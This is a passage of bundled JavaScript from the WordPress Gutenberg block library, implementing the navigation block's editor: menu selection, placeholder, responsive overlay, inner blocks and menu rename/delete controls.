        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: ["px", "em", "rem", "vh", "vw"],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowVerticalAlignment: false,
        allowSizingOnChildren: true,
        default: {
          type: "flex"
        }
      },
      interactivity: true,
      renaming: false
    },
    editorStyle: "wp-block-navigation-editor",
    style: "wp-block-navigation"
  };

  // packages/block-library/build-module/navigation/edit/index.mjs
  var import_element80 = __toESM(require_element(), 1);
  var import_block_editor157 = __toESM(require_block_editor(), 1);
  var import_core_data49 = __toESM(require_core_data(), 1);
  var import_data86 = __toESM(require_data(), 1);
  var import_components93 = __toESM(require_components(), 1);
  var import_i18n141 = __toESM(require_i18n(), 1);
  var import_a11y3 = __toESM(require_a11y(), 1);
  var import_blocks62 = __toESM(require_blocks(), 1);
  var import_compose35 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/navigation/use-navigation-menu.mjs
  var import_core_data26 = __toESM(require_core_data(), 1);
  var import_data61 = __toESM(require_data(), 1);

  // packages/block-library/build-module/navigation/constants.mjs
  var DEFAULT_BLOCK5 = {
    name: "core/navigation-link",
    attributes: {
      kind: "post-type",
      type: "page"
    }
  };
  var PRIORITIZED_INSERTER_BLOCKS = [
    "core/navigation-link/page",
    "core/navigation-link"
  ];
  var PRELOADED_NAVIGATION_MENUS_QUERY = {
    per_page: 100,
    status: ["publish", "draft"],
    order: "desc",
    orderby: "date"
  };
  var SELECT_NAVIGATION_MENUS_ARGS = [
    "postType",
    "wp_navigation",
    PRELOADED_NAVIGATION_MENUS_QUERY
  ];
  var NAVIGATION_OVERLAY_TEMPLATE_PART_AREA = "navigation-overlay";

  // packages/block-library/build-module/navigation/use-navigation-menu.mjs
  function useNavigationMenu(ref) {
    const permissions = (0, import_core_data26.useResourcePermissions)({
      kind: "postType",
      name: "wp_navigation",
      id: ref
    });
    const {
      navigationMenu,
      isNavigationMenuResolved,
      isNavigationMenuMissing
    } = (0, import_data61.useSelect)(
      (select9) => {
        return selectExistingMenu(select9, ref);
      },
      [ref]
    );
    const {
      // Can the user create navigation menus?
      canCreate: canCreateNavigationMenus,
      // Can the user update the specific navigation menu with the given post ID?
      canUpdate: canUpdateNavigationMenu,
      // Can the user delete the specific navigation menu with the given post ID?
      canDelete: canDeleteNavigationMenu,
      isResolving: isResolvingPermissions,
      hasResolved: hasResolvedPermissions
    } = permissions;
    const {
      records: navigationMenus,
      isResolving: isResolvingNavigationMenus,
      hasResolved: hasResolvedNavigationMenus
    } = (0, import_core_data26.useEntityRecords)(
      "postType",
      `wp_navigation`,
      PRELOADED_NAVIGATION_MENUS_QUERY
    );
    const canSwitchNavigationMenu = ref ? navigationMenus?.length > 1 : navigationMenus?.length > 0;
    return {
      navigationMenu,
      isNavigationMenuResolved,
      isNavigationMenuMissing,
      navigationMenus,
      isResolvingNavigationMenus,
      hasResolvedNavigationMenus,
      canSwitchNavigationMenu,
      canUserCreateNavigationMenus: canCreateNavigationMenus,
      isResolvingCanUserCreateNavigationMenus: isResolvingPermissions,
      hasResolvedCanUserCreateNavigationMenus: hasResolvedPermissions,
      canUserUpdateNavigationMenu: canUpdateNavigationMenu,
      hasResolvedCanUserUpdateNavigationMenu: ref ? hasResolvedPermissions : void 0,
      canUserDeleteNavigationMenu: canDeleteNavigationMenu,
      hasResolvedCanUserDeleteNavigationMenu: ref ? hasResolvedPermissions : void 0
    };
  }
  function selectExistingMenu(select9, ref) {
    if (!ref) {
      return {
        isNavigationMenuResolved: false,
        isNavigationMenuMissing: true
      };
    }
    const { getEntityRecord, getEditedEntityRecord, hasFinishedResolution } = select9(import_core_data26.store);
    const args = ["postType", "wp_navigation", ref];
    const navigationMenu = getEntityRecord(...args);
    const editedNavigationMenu = getEditedEntityRecord(...args);
    const hasResolvedNavigationMenu = hasFinishedResolution(
      "getEditedEntityRecord",
      args
    );
    const isNavigationMenuPublishedOrDraft = editedNavigationMenu.status === "publish" || editedNavigationMenu.status === "draft";
    return {
      isNavigationMenuResolved: hasResolvedNavigationMenu,
      isNavigationMenuMissing: hasResolvedNavigationMenu && (!navigationMenu || !isNavigationMenuPublishedOrDraft),
      // getEditedEntityRecord will return the post regardless of status.
      // Therefore if the found post is not published then we should ignore it.
      navigationMenu: isNavigationMenuPublishedOrDraft ? editedNavigationMenu : null
    };
  }

  // packages/block-library/build-module/navigation/use-navigation-entities.mjs
  var import_core_data27 = __toESM(require_core_data(), 1);
  function useNavigationEntities(menuId) {
    const {
      records: menus,
      isResolving: isResolvingMenus,
      hasResolved: hasResolvedMenus
    } = (0, import_core_data27.useEntityRecords)("root", "menu", { per_page: -1, context: "view" });
    const {
      records: pages,
      isResolving: isResolvingPages,
      hasResolved: hasResolvedPages
    } = (0, import_core_data27.useEntityRecords)("postType", "page", {
      parent: 0,
      order: "asc",
      orderby: "id",
      per_page: -1,
      context: "view"
    });
    const { records: menuItems, hasResolved: hasResolvedMenuItems } = (0, import_core_data27.useEntityRecords)(
      "root",
      "menuItem",
      {
        menus: menuId,
        per_page: -1,
        context: "view"
      },
      { enabled: !!menuId }
    );
    return {
      pages,
      isResolvingPages,
      hasResolvedPages,
      hasPages: !!(hasResolvedPages && pages?.length),
      menus,
      isResolvingMenus,
      hasResolvedMenus,
      hasMenus: !!(hasResolvedMenus && menus?.length),
      menuItems,
      hasResolvedMenuItems
    };
  }

  // packages/block-library/build-module/navigation/edit/placeholder/index.mjs
  var import_components70 = __toESM(require_components(), 1);
  var import_i18n114 = __toESM(require_i18n(), 1);
  var import_a11y2 = __toESM(require_a11y(), 1);
  var import_element60 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/placeholder/placeholder-preview.mjs
  var import_i18n112 = __toESM(require_i18n(), 1);
  var import_jsx_runtime303 = __toESM(require_jsx_runtime(), 1);
  var PlaceholderPreview = ({ isVisible = true }) => {
    return /* @__PURE__ */ (0, import_jsx_runtime303.jsx)(
      "div",
      {
        "aria-hidden": !isVisible ? true : void 0,
        className: "wp-block-navigation-placeholder__preview",
        children: /* @__PURE__ */ (0, import_jsx_runtime303.jsxs)("div", { className: "wp-block-navigation-placeholder__actions__indicator", children: [
          /* @__PURE__ */ (0, import_jsx_runtime303.jsx)(icon_default, { icon: navigation_default }),
          (0, import_i18n112.__)("Navigation")
        ] })
      }
    );
  };
  var placeholder_preview_default = PlaceholderPreview;

  // packages/block-library/build-module/navigation/edit/navigation-menu-selector.mjs
  var import_components69 = __toESM(require_components(), 1);
  var import_i18n113 = __toESM(require_i18n(), 1);
  var import_html_entities3 = __toESM(require_html_entities(), 1);
  var import_element59 = __toESM(require_element(), 1);
  var import_core_data28 = __toESM(require_core_data(), 1);
  var import_jsx_runtime304 = __toESM(require_jsx_runtime(), 1);
  function buildMenuLabel(title, id, status) {
    if (!title) {
      return (0, import_i18n113.sprintf)((0, import_i18n113.__)("(no title %s)"), id);
    }
    if (status === "publish") {
      return (0, import_html_entities3.decodeEntities)(title);
    }
    return (0, import_i18n113.sprintf)(
      // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
      (0, import_i18n113.__)("%1$s (%2$s)"),
      (0, import_html_entities3.decodeEntities)(title),
      status
    );
  }
  function NavigationMenuSelector({
    currentMenuId,
    onSelectNavigationMenu,
    onSelectClassicMenu,
    onCreateNew,
    actionLabel: actionLabel2,
    createNavigationMenuIsSuccess,
    createNavigationMenuIsError
  }) {
    const createActionLabel = (0, import_i18n113.__)("Create from '%s'");
    const [isUpdatingMenuRef, setIsUpdatingMenuRef] = (0, import_element59.useState)(false);
    actionLabel2 = actionLabel2 || createActionLabel;
    const { menus: classicMenus } = useNavigationEntities();
    const {
      navigationMenus,
      isResolvingNavigationMenus,
      hasResolvedNavigationMenus,
      canUserCreateNavigationMenus,
      canSwitchNavigationMenu,
      isNavigationMenuMissing
    } = useNavigationMenu(currentMenuId);
    const [currentTitle] = (0, import_core_data28.useEntityProp)(
      "postType",
      "wp_navigation",
      "title",
      currentMenuId
    );
    const menuChoices = (0, import_element59.useMemo)(() => {
      return navigationMenus?.map(({ id, title, status }, index) => {
        const label = buildMenuLabel(
          title?.rendered,
          index + 1,
          status
        );
        return {
          value: id,
          label,
          ariaLabel: (0, import_i18n113.sprintf)(actionLabel2, label),
          disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus
        };
      }) || [];
    }, [
      navigationMenus,
      actionLabel2,
      isResolvingNavigationMenus,
      hasResolvedNavigationMenus,
      isUpdatingMenuRef
    ]);
    const hasNavigationMenus = !!navigationMenus?.length;
    const hasClassicMenus = !!classicMenus?.length;
    const showNavigationMenus = !!canSwitchNavigationMenu;
    const showClassicMenus = !!canUserCreateNavigationMenus;
    const noMenuSelected = hasNavigationMenus && !currentMenuId;
    const noBlockMenus = !hasNavigationMenus && hasResolvedNavigationMenus;
    const menuUnavailable = hasResolvedNavigationMenus && currentMenuId === null;
    const navMenuHasBeenDeleted = currentMenuId && isNavigationMenuMissing;
    let selectorLabel = "";
    if (isResolvingNavigationMenus) {
      selectorLabel = (0, import_i18n113.__)("Loading\u2026");
    } else if (noMenuSelected || noBlockMenus || menuUnavailable || navMenuHasBeenDeleted) {
      selectorLabel = (0, import_i18n113.__)("Choose or create a Navigation Menu");
    } else {
      selectorLabel = currentTitle;
    }
    (0, import_element59.useEffect)(() => {
      if (isUpdatingMenuRef && (createNavigationMenuIsSuccess || createNavigationMenuIsError)) {
        setIsUpdatingMenuRef(false);
      }
    }, [
      hasResolvedNavigationMenus,
      createNavigationMenuIsSuccess,
      canUserCreateNavigationMenus,
      createNavigationMenuIsError,
      isUpdatingMenuRef,
      menuUnavailable,
      noBlockMenus,
      noMenuSelected
    ]);
    const NavigationMenuSelectorDropdown = /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
      import_components69.DropdownMenu,
      {
        label: selectorLabel,
        icon: more_vertical_default,
        toggleProps: { size: "small" },
        children: ({ onClose }) => /* @__PURE__ */ (0, import_jsx_runtime304.jsxs)(import_jsx_runtime304.Fragment, { children: [
          showNavigationMenus && hasNavigationMenus && /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(import_components69.MenuGroup, { label: (0, import_i18n113.__)("Menus"), children: /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
            import_components69.MenuItemsChoice,
            {
              value: currentMenuId,
              onSelect: (menuId) => {
                onSelectNavigationMenu(menuId);
                onClose();
              },
              choices: menuChoices
            }
          ) }),
          showClassicMenus && hasClassicMenus && /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(import_components69.MenuGroup, { label: (0, import_i18n113.__)("Import Classic Menus"), children: classicMenus?.map((menu) => {
            const label = (0, import_html_entities3.decodeEntities)(menu.name);
            return /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
              import_components69.MenuItem,
              {
                onClick: async () => {
                  setIsUpdatingMenuRef(true);
                  await onSelectClassicMenu(menu);
                  setIsUpdatingMenuRef(false);
                  onClose();
                },
                "aria-label": (0, import_i18n113.sprintf)(
                  createActionLabel,
                  label
                ),
                disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus,
                children: label
              },
              menu.id
            );
          }) }),
          canUserCreateNavigationMenus && /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(import_components69.MenuGroup, { label: (0, import_i18n113.__)("Tools"), children: /* @__PURE__ */ (0, import_jsx_runtime304.jsx)(
            import_components69.MenuItem,
            {
              onClick: async () => {
                setIsUpdatingMenuRef(true);
                await onCreateNew();
                setIsUpdatingMenuRef(false);
                onClose();
              },
              disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus,
              children: (0, import_i18n113.__)("Create new Menu")
            }
          ) })
        ] })
      }
    );
    return NavigationMenuSelectorDropdown;
  }
  var navigation_menu_selector_default = NavigationMenuSelector;

  // packages/block-library/build-module/navigation/edit/placeholder/index.mjs
  var import_jsx_runtime305 = __toESM(require_jsx_runtime(), 1);
  function NavigationPlaceholder({
    isSelected,
    currentMenuId,
    clientId,
    canUserCreateNavigationMenus = false,
    isResolvingCanUserCreateNavigationMenus,
    onSelectNavigationMenu,
    onSelectClassicMenu,
    onCreateEmpty
  }) {
    const { isResolvingMenus, hasResolvedMenus } = useNavigationEntities();
    (0, import_element60.useEffect)(() => {
      if (!isSelected) {
        return;
      }
      if (isResolvingMenus) {
        (0, import_a11y2.speak)((0, import_i18n114.__)("Loading navigation block setup options\u2026"));
      }
      if (hasResolvedMenus) {
        (0, import_a11y2.speak)((0, import_i18n114.__)("Navigation block setup options ready."));
      }
    }, [hasResolvedMenus, isResolvingMenus, isSelected]);
    const isResolvingActions = isResolvingMenus && isResolvingCanUserCreateNavigationMenus;
    return /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(import_jsx_runtime305.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime305.jsxs)(import_components70.Placeholder, { className: "wp-block-navigation-placeholder", children: [
      /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(placeholder_preview_default, { isVisible: !isSelected }),
      /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(
        "div",
        {
          "aria-hidden": !isSelected ? true : void 0,
          className: "wp-block-navigation-placeholder__controls",
          children: /* @__PURE__ */ (0, import_jsx_runtime305.jsxs)("div", { className: "wp-block-navigation-placeholder__actions", children: [
            /* @__PURE__ */ (0, import_jsx_runtime305.jsxs)("div", { className: "wp-block-navigation-placeholder__actions__indicator", children: [
              /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(icon_default, { icon: navigation_default }),
              " ",
              (0, import_i18n114.__)("Navigation")
            ] }),
            /* @__PURE__ */ (0, import_jsx_runtime305.jsx)("hr", {}),
            isResolvingActions && /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(import_components70.Spinner, {}),
            /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(
              navigation_menu_selector_default,
              {
                currentMenuId,
                clientId,
                onSelectNavigationMenu,
                onSelectClassicMenu
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime305.jsx)("hr", {}),
            canUserCreateNavigationMenus && /* @__PURE__ */ (0, import_jsx_runtime305.jsx)(
              import_components70.Button,
              {
                __next40pxDefaultSize: true,
                variant: "tertiary",
                onClick: onCreateEmpty,
                children: (0, import_i18n114.__)("Start empty")
              }
            )
          ] })
        }
      )
    ] }) });
  }

  // packages/block-library/build-module/navigation/edit/responsive-wrapper.mjs
  var import_components71 = __toESM(require_components(), 1);
  var import_i18n115 = __toESM(require_i18n(), 1);
  var import_block_editor139 = __toESM(require_block_editor(), 1);
  var import_data62 = __toESM(require_data(), 1);
  var import_core_data29 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/navigation/edit/overlay-menu-icon.mjs
  var import_primitives163 = __toESM(require_primitives(), 1);
  var import_jsx_runtime306 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuIcon({ icon: icon4 }) {
    if (icon4 === "menu") {
      return /* @__PURE__ */ (0, import_jsx_runtime306.jsx)(icon_default, { icon: menu_default });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime306.jsxs)(
      import_primitives163.SVG,
      {
        xmlns: "http://www.w3.org/2000/svg",
        viewBox: "0 0 24 24",
        width: "24",
        height: "24",
        "aria-hidden": "true",
        focusable: "false",
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime306.jsx)(import_primitives163.Rect, { x: "4", y: "7.5", width: "16", height: "1.5" }),
          /* @__PURE__ */ (0, import_jsx_runtime306.jsx)(import_primitives163.Rect, { x: "4", y: "15", width: "16", height: "1.5" })
        ]
      }
    );
  }

  // packages/block-library/build-module/template-part/edit/utils/create-template-part-id.mjs
  function createTemplatePartId(theme, slug) {
    return theme && slug ? theme + "//" + slug : null;
  }

  // packages/block-library/build-module/navigation/edit/responsive-wrapper.mjs
  var import_jsx_runtime307 = __toESM(require_jsx_runtime(), 1);
  function ResponsiveWrapper({
    children,
    id,
    isOpen,
    isResponsive,
    onToggle,
    isHiddenByDefault,
    overlayBackgroundColor,
    overlayTextColor,
    hasIcon,
    icon: icon4,
    overlay,
    onNavigateToEntityRecord
  }) {
    const currentTheme = (0, import_data62.useSelect)(
      (select9) => select9(import_core_data29.store).getCurrentTheme()?.stylesheet,
      []
    );
    if (!isResponsive) {
      return children;
    }
    const hasCustomOverlay = !!overlay;
    const responsiveContainerClasses = clsx_default(
      "wp-block-navigation__responsive-container",
      !hasCustomOverlay && {
        "has-text-color": !!overlayTextColor.color || !!overlayTextColor?.class,
        [(0, import_block_editor139.getColorClassName)("color", overlayTextColor?.slug)]: !!overlayTextColor?.slug,
        "has-background": !!overlayBackgroundColor.color || overlayBackgroundColor?.class,
        [(0, import_block_editor139.getColorClassName)(
          "background-color",
          overlayBackgroundColor?.slug
        )]: !!overlayBackgroundColor?.slug
      },
      {
        "is-menu-open": isOpen,
        "hidden-by-default": isHiddenByDefault
      }
    );
    const styles = !hasCustomOverlay ? {
      color: !overlayTextColor?.slug && overlayTextColor?.color,
      backgroundColor: !overlayBackgroundColor?.slug && overlayBackgroundColor?.color && overlayBackgroundColor.color
    } : {};
    const openButtonClasses = clsx_default(
      "wp-block-navigation__responsive-container-open",
      { "always-shown": isHiddenByDefault }
    );
    const modalId = `${id}-modal`;
    const dialogProps = {
      className: "wp-block-navigation__responsive-dialog",
      ...isOpen && {
        role: "dialog",
        "aria-modal": true,
        "aria-label": (0, import_i18n115.__)("Menu")
      }
    };
    const handleToggleClick = () => {
      if (overlay && onNavigateToEntityRecord) {
        const templatePartId = createTemplatePartId(
          currentTheme,
          overlay
        );
        onNavigateToEntityRecord({
          postId: templatePartId,
          postType: "wp_template_part"
        });
        return;
      }
      onToggle(true);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)(import_jsx_runtime307.Fragment, { children: [
      !isOpen && /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)(
        import_components71.Button,
        {
          __next40pxDefaultSize: true,
          "aria-haspopup": "true",
          "aria-label": hasIcon && (0, import_i18n115.__)("Open menu"),
          className: openButtonClasses,
          onClick: handleToggleClick,
          children: [
            hasIcon && /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(OverlayMenuIcon, { icon: icon4 }),
            !hasIcon && (0, import_i18n115.__)("Menu")
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(
        "div",
        {
          className: responsiveContainerClasses,
          style: styles,
          id: modalId,
          children: /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(
            "div",
            {
              className: "wp-block-navigation__responsive-close",
              tabIndex: "-1",
              children: /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)("div", { ...dialogProps, children: [
                /* @__PURE__ */ (0, import_jsx_runtime307.jsxs)(
                  import_components71.Button,
                  {
                    __next40pxDefaultSize: true,
                    className: "wp-block-navigation__responsive-container-close",
                    "aria-label": hasIcon && (0, import_i18n115.__)("Close menu"),
                    onClick: () => onToggle(false),
                    children: [
                      hasIcon && /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(icon_default, { icon: close_default }),
                      !hasIcon && (0, import_i18n115.__)("Close")
                    ]
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime307.jsx)(
                  "div",
                  {
                    className: "wp-block-navigation__responsive-container-content",
                    id: `${modalId}-content`,
                    children
                  }
                )
              ] })
            }
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/inner-blocks.mjs
  var import_core_data30 = __toESM(require_core_data(), 1);
  var import_block_editor140 = __toESM(require_block_editor(), 1);
  var import_data63 = __toESM(require_data(), 1);
  var import_element61 = __toESM(require_element(), 1);
  var import_jsx_runtime308 = __toESM(require_jsx_runtime(), 1);
  function NavigationInnerBlocks({
    clientId,
    hasCustomPlaceholder,
    orientation,
    templateLock
  }) {
    const {
      isImmediateParentOfSelectedBlock,
      selectedBlockHasChildren,
      isSelected,
      hasSelectedDescendant
    } = (0, import_data63.useSelect)(
      (select9) => {
        const {
          getBlockCount,
          hasSelectedInnerBlock,
          getSelectedBlockClientId
        } = select9(import_block_editor140.store);
        const selectedBlockId = getSelectedBlockClientId();
        return {
          isImmediateParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            false
          ),
          selectedBlockHasChildren: !!getBlockCount(selectedBlockId),
          hasSelectedDescendant: hasSelectedInnerBlock(clientId, true),
          // This prop is already available but computing it here ensures it's
          // fresh compared to isImmediateParentOfSelectedBlock.
          isSelected: selectedBlockId === clientId
        };
      },
      [clientId]
    );
    const [blocks, onInput, onChange] = (0, import_core_data30.useEntityBlockEditor)(
      "postType",
      "wp_navigation"
    );
    const parentOrChildHasSelection = isSelected || isImmediateParentOfSelectedBlock && !selectedBlockHasChildren;
    const placeholder2 = (0, import_element61.useMemo)(() => /* @__PURE__ */ (0, import_jsx_runtime308.jsx)(placeholder_preview_default, {}), []);
    const hasMenuItems = !!blocks?.length;
    const showPlaceholder = !hasCustomPlaceholder && !hasMenuItems && !isSelected;
    const innerBlocksProps = (0, import_block_editor140.useInnerBlocksProps)(
      {
        className: "wp-block-navigation__container"
      },
      {
        value: blocks,
        onInput,
        onChange,
        prioritizedInserterBlocks: PRIORITIZED_INSERTER_BLOCKS,
        defaultBlock: DEFAULT_BLOCK5,
        directInsert: true,
        orientation,
        templateLock,
        // As an exception to other blocks which feature nesting, show
        // the block appender even when a child block is selected.
        // This should be a temporary fix, to be replaced by improvements to
        // the sibling inserter.
        // See https://github.com/WordPress/gutenberg/issues/37572.
        renderAppender: isSelected || isImmediateParentOfSelectedBlock && !selectedBlockHasChildren || hasSelectedDescendant || // Show the appender while dragging to allow inserting element between item and the appender.
        parentOrChildHasSelection ? import_block_editor140.InnerBlocks.ButtonBlockAppender : false,
        placeholder: showPlaceholder ? placeholder2 : void 0,
        __experimentalCaptureToolbars: true,
        __unstableDisableLayoutClassNames: true
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime308.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/navigation/edit/navigation-menu-name-control.mjs
  var import_components72 = __toESM(require_components(), 1);
  var import_core_data31 = __toESM(require_core_data(), 1);
  var import_i18n116 = __toESM(require_i18n(), 1);
  var import_jsx_runtime309 = __toESM(require_jsx_runtime(), 1);
  function NavigationMenuNameControl() {
    const [title, updateTitle] = (0, import_core_data31.useEntityProp)(
      "postType",
      "wp_navigation",
      "title"
    );
    return /* @__PURE__ */ (0, import_jsx_runtime309.jsx)(
      import_components72.TextControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n116.__)("Menu name"),
        value: title,
        onChange: updateTitle
      }
    );
  }

  // packages/block-library/build-module/navigation/edit/unsaved-inner-blocks.mjs
  var import_block_editor141 = __toESM(require_block_editor(), 1);
  var import_components73 = __toESM(require_components(), 1);
  var import_core_data32 = __toESM(require_core_data(), 1);
  var import_data64 = __toESM(require_data(), 1);
  var import_element62 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation/edit/are-blocks-dirty.mjs
  function areBlocksDirty(originalBlocks, blocks) {
    return !isDeepEqual(originalBlocks, blocks, (prop, x2) => {
      if (x2?.name === "core/page-list" && prop === "innerBlocks") {
        return true;
      }
    });
  }
  var isDeepEqual = (x2, y2, shouldSkip) => {
    if (x2 === y2) {
      return true;
    } else if (typeof x2 === "object" && x2 !== null && x2 !== void 0 && typeof y2 === "object" && y2 !== null && y2 !== void 0) {
      if (Object.keys(x2).length !== Object.keys(y2).length) {
        return false;
      }
      for (const prop in x2) {
        if (y2.hasOwnProperty(prop)) {
          if (shouldSkip && shouldSkip(prop, x2)) {
            return true;
          }
          if (!isDeepEqual(x2[prop], y2[prop], shouldSkip)) {
            return false;
          }
        } else {
          return false;
        }
      }
      return true;
    }
    return false;
  };

  // packages/block-library/build-module/navigation/edit/unsaved-inner-blocks.mjs
  var import_jsx_runtime310 = __toESM(require_jsx_runtime(), 1);
  var EMPTY_OBJECT = {};
  function UnsavedInnerBlocks({
    blocks,
    createNavigationMenu,
    hasSelection
  }) {
    const originalBlocksRef = (0, import_element62.useRef)();
    (0, import_element62.useEffect)(() => {
      if (!originalBlocksRef?.current) {
        originalBlocksRef.current = blocks;
      }
    }, [blocks]);
    const innerBlocksAreDirty = areBlocksDirty(
      originalBlocksRef?.current,
      blocks
    );
    const isDisabled = (0, import_element62.useContext)(import_components73.Disabled.Context);
    const innerBlocksProps = (0, import_block_editor141.useInnerBlocksProps)(
      {
        className: "wp-block-navigation__container"
      },
      {
        renderAppender: hasSelection ? void 0 : false,
        defaultBlock: DEFAULT_BLOCK5,
        directInsert: true
      }
    );
    const { isSaving, hasResolvedAllNavigationMenus } = (0, import_data64.useSelect)(
      (select9) => {
        if (isDisabled) {
          return EMPTY_OBJECT;
        }
        const { hasFinishedResolution, isSavingEntityRecord } = select9(import_core_data32.store);
        return {
          isSaving: isSavingEntityRecord("postType", "wp_navigation"),
          hasResolvedAllNavigationMenus: hasFinishedResolution(
            "getEntityRecords",
            SELECT_NAVIGATION_MENUS_ARGS
          )
        };
      },
      [isDisabled]
    );
    (0, import_element62.useEffect)(() => {
      if (isDisabled || isSaving || !hasResolvedAllNavigationMenus || !hasSelection || !innerBlocksAreDirty) {
        return;
      }
      createNavigationMenu(null, blocks);
    }, [
      blocks,
      createNavigationMenu,
      isDisabled,
      isSaving,
      hasResolvedAllNavigationMenus,
      innerBlocksAreDirty,
      hasSelection
    ]);
    const Wrapper = isSaving ? import_components73.Disabled : "div";
    return /* @__PURE__ */ (0, import_jsx_runtime310.jsx)(Wrapper, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/navigation/edit/navigation-menu-delete-control.mjs
  var import_components74 = __toESM(require_components(), 1);
  var import_core_data33 = __toESM(require_core_data(), 1);
  var import_data65 = __toESM(require_data(), 1);
  var import_element63 = __toESM(require_element(), 1);
  var import_i18n117 = __toESM(require_i18n(), 1);
  var import_jsx_runtime311 = __toESM(require_jsx_runtime(), 1);
  function NavigationMenuDeleteControl({ onDelete }) {
    const [isConfirmDialogVisible, setIsConfirmDialogVisible] = (0, import_element63.useState)(false);
    const id = (0, import_core_data33.useEntityId)("postType", "wp_navigation");
    const { deleteEntityRecord } = (0, import_data65.useDispatch)(import_core_data33.store);
    return /* @__PURE__ */ (0, import_jsx_runtime311.jsxs)(import_jsx_runtime311.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime311.jsx)(
        import_components74.Button,
        {
          __next40pxDefaultSize: true,
          className: "wp-block-navigation-delete-menu-button",
          variant: "secondary",
          isDestructive: true,
          onClick: () => {
            setIsConfirmDialogVisible(true);
          },
          children: (0, import_i18n117.__)("Delete menu")
        }
      ),
      isConfirmDialogVisible && /* @__PURE__ */ (0, import_jsx_runtime311.jsx)(
        import_components74.__experimentalConfirmDialog,
        {
          isOpen: true,
          onConfirm: () => {
            deleteEntityRecord("postType", "wp_navigation", id, {
              force: true
            });
            onDelete();
          },
          onCancel: () => {
            setIsConfirmDialogVisible(false);
          },
          confirmButtonText: (0, import_i18n117.__)("Delete"),
          size: "medium",
          children: (0, import_i18n117.__)(
            "Are you sure you want to delete this Navigation Menu?"
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation/edit/use-navigation-notice.mjs
  var import_element64 = __toESM(require_element(), 1);
  var import_data66 = __toESM(require_data(), 1);
  var import_notices11 = __toESM(require_notices(), 1);
  function useNavigationNotice({ name: name123, message = "" } = {}) {
    const noticeRef = (0, import_element64.useRef)();
    const { createWarningNotice, removeNotice } = (0, import_data66.useDispatch)(import_notices11.store);
    const showNotice = (0, import_element64.useCallback)(
      (customMsg) => {
        if (noticeRef.current) {
          return;
        }
        noticeRef.current = name123;
        createWarningNotice(customMsg || message, {
          id: noticeRef.current,
          type: "snackbar"
        });
      },
      [noticeRef, createWarningNotice, message, name123]
    );
    const hideNotice = (0, import_element64.useCallback)(() => {
      if (!noticeRef.current) {
        return;
      }
      removeNotice(noticeRef.current);
      noticeRef.current = null;
    }, [noticeRef, removeNotice]);
    return [showNotice, hideNotice];
  }
  var use_navigation_notice_default = useNavigationNotice;

  // packages/block-library/build-module/navigation/edit/overlay-menu-preview.mjs
  var import_components75 = __toESM(require_components(), 1);
  var import_i18n118 = __toESM(require_i18n(), 1);
  var import_jsx_runtime312 = __toESM(require_jsx_runtime(), 1);
  function OverlayMenuPreview({ setAttributes, hasIcon, icon: icon4 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime312.jsxs)(import_jsx_runtime312.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
        import_components75.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n118.__)("Show icon button"),
          isShownByDefault: true,
          hasValue: () => !hasIcon,
          onDeselect: () => setAttributes({ hasIcon: true }),
          children: /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
            import_components75.ToggleControl,
            {
              label: (0, import_i18n118.__)("Show icon button"),
              help: (0, import_i18n118.__)(
                "Configure the visual appearance of the button that toggles the overlay menu."
              ),
              onChange: (value) => setAttributes({ hasIcon: value }),
              checked: hasIcon
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime312.jsx)(
        import_components75.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n118.__)("Icon"),
          isShownByDefault: true,
          hasValue: () => icon4 !== "handle",
          onDeselect: () => setAttributes({ icon: "handle" }),
          children: /* @__PURE__ */ (0, import_jsx_runtime312.jsxs)(
            import_components75.__experimentalToggleGroupControl,
            {
              __next40pxDefaultSize: true,
              className: "wp-block-navigation__overlay-menu-icon-toggle-group",
              label: (0, import_i18n118.__)("Icon"),
              value: icon4,
